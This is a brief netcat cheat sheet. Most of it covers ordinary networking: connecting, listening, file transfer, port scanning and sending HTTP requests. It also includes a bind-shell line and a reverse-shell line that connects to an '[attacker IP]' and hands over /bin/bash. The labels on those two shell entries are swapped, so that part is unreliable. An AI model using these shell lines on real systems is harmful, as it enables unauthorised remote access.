Netcat

Basic Usage

Connect to a remote host on a specific port:
```
nc [hostname] [port]
```
Listen on a specific port for incoming connections:
```
nc -l -p [port]
```
Transfer a file over a network (Sender):
```
nc [destination IP] [port] < [file]
```
Transfer a file over a network (Receiver):
```
nc -l -p [port] > [file]
```

Scan open ports on a target:

nc -zv [hostname or IP] [start_port]-[end_port]

Serve a directory over HTTP:

while true; do nc -l -p [port] -q 1 < index.html; done

Connect to a remote shell:
```
nc -l -p [port] -e /bin/bash
```
Bind a shell to a port (reverse shell):
```
nc [attacker IP] [port] -e /bin/bash
```

Send an HTTP GET request:

echo -e "GET / HTTP/1.1\r\nHost: [hostname]\r\nConnection: close\r\n\r\n" | nc [hostname] [port]